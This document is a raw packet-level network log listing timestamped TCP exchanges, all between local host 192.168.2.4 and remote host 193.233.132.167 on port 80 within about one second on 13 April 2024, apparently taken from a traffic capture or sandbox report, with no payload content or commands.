Apr 13, 2024 20:21:22.696429014 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.696461916 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.696474075 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.696501017 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.696506977 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.696540117 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.696546078 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.696578979 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.696582079 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.696618080 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.696631908 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.696656942 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.696666956 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.696701050 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.696702003 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.696739912 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.696753025 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.696779966 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.696783066 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.696820021 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.696822882 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.696858883 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.696870089 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.696897030 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.696917057 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.696935892 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.696943045 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.696978092 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.696980953 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697016954 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697030067 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697055101 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697079897 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697092056 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697107077 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697130919 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697132111 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697168112 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697180033 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697207928 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697216988 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697247028 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697248936 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697269917 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697287083 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697288036 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697304010 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697304964 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697324991 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697338104 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697340965 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697355032 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697360039 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697374105 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697380066 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697395086 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697397947 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697405100 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697417021 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697427988 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697434902 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697444916 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697453022 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697462082 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697473049 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697480917 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697494030 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697498083 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697513103 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697530985 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697536945 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697536945 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697549105 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697550058 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697566986 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697567940 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697587013 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697592020 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697603941 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697604895 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697623014 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697623968 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697643042 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697649956 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697660923 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697668076 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697683096 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697689056 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697696924 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697701931 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697720051 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697726965 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697736025 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697737932 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697756052 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697757959 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697772026 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697777033 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697794914 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697804928 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697813988 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697813988 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697833061 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697839975 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697853088 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697860956 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697871923 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697881937 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697890043 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697902918 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697909117 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697922945 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697927952 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697938919 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697952032 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697961092 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697972059 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.697981119 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.697990894 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698002100 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698012114 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698012114 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698029995 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698031902 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698050976 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698050976 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698069096 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698081970 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698086977 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698101044 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698106050 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698116064 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698122978 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698132992 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698142052 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698158979 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698158979 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698174000 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698178053 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698195934 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698199987 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698213100 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698229074 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698230028 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698250055 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698256016 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698267937 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698276997 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698287964 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698306084 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698307037 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698317051 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698323965 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698340893 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698342085 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698354959 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698359966 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698378086 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698381901 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698395014 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698395967 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698415995 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698426962 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698435068 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698451042 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698453903 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698470116 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698477030 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698487043 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698497057 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698506117 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698522091 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698523045 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698540926 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698544979 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698554993 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698559046 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698576927 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698590994 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698596001 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698612928 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698617935 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698632002 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698646069 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698654890 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698673010 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698674917 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698693037 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698697090 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698714018 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698719025 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698733091 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698743105 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698750973 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698765993 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698767900 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698776960 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698787928 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698801994 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698807001 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698822021 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698826075 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698843002 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698843956 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698854923 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698863029 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698879957 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698879957 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698894978 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698903084 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698916912 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698920012 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698935986 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698937893 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698946953 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698956966 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698964119 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698976040 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.698983908 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.698995113 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.699006081 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.699013948 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.699022055 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.699033022 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.699043989 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.699050903 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.699063063 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.699068069 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.699086905 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.699086905 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.699103117 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.699134111 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.037409067 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.037473917 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.037538052 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.037611008 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.037756920 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.038933992 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.038997889 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.039004087 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.039037943 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.039061069 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.039081097 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.039089918 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.039134026 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.043585062 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.043642044 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.043649912 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.043695927 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.043704987 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.043736935 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.043745041 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.043778896 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.043797016 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.043821096 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.043839931 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.043864965 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.043884039 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.043926001 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.043940067 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.043962002 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.043962955 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.044060946 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.044087887 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.044102907 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.044109106 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.044142962 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.044150114 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.044183016 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.044234991 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.044244051 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.044306993 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.044343948 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.044352055 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.044384003 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.044387102 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.044421911 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.044459105 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.044466972 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.044496059 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.044533968 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.044542074 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.044570923 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.044578075 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.044616938 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.044653893 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.044666052 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.044694901 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.044732094 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.044740915 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.044775009 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.044776917 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.044812918 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.044851065 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.044867992 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.044888020 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.044929981 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.044936895 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.044967890 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.044981003 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.045005083 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.045042992 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.045058966 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.045079947 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.045115948 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.045123100 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.045152903 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.045159101 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.045191050 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.045227051 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.045238018 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.045264959 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.045303106 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.045312881 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.045341969 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.045348883 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.045380116 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.045417070 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.045428038 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.045454979 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.045486927 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.045490980 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.045506001 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.045526981 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.045531034 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.045563936 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.045567036 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.045600891 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.045607090 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.045639038 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.045649052 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.045679092 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.045685053 CEST	49749	80	192.168.2.4	193.233.132.167
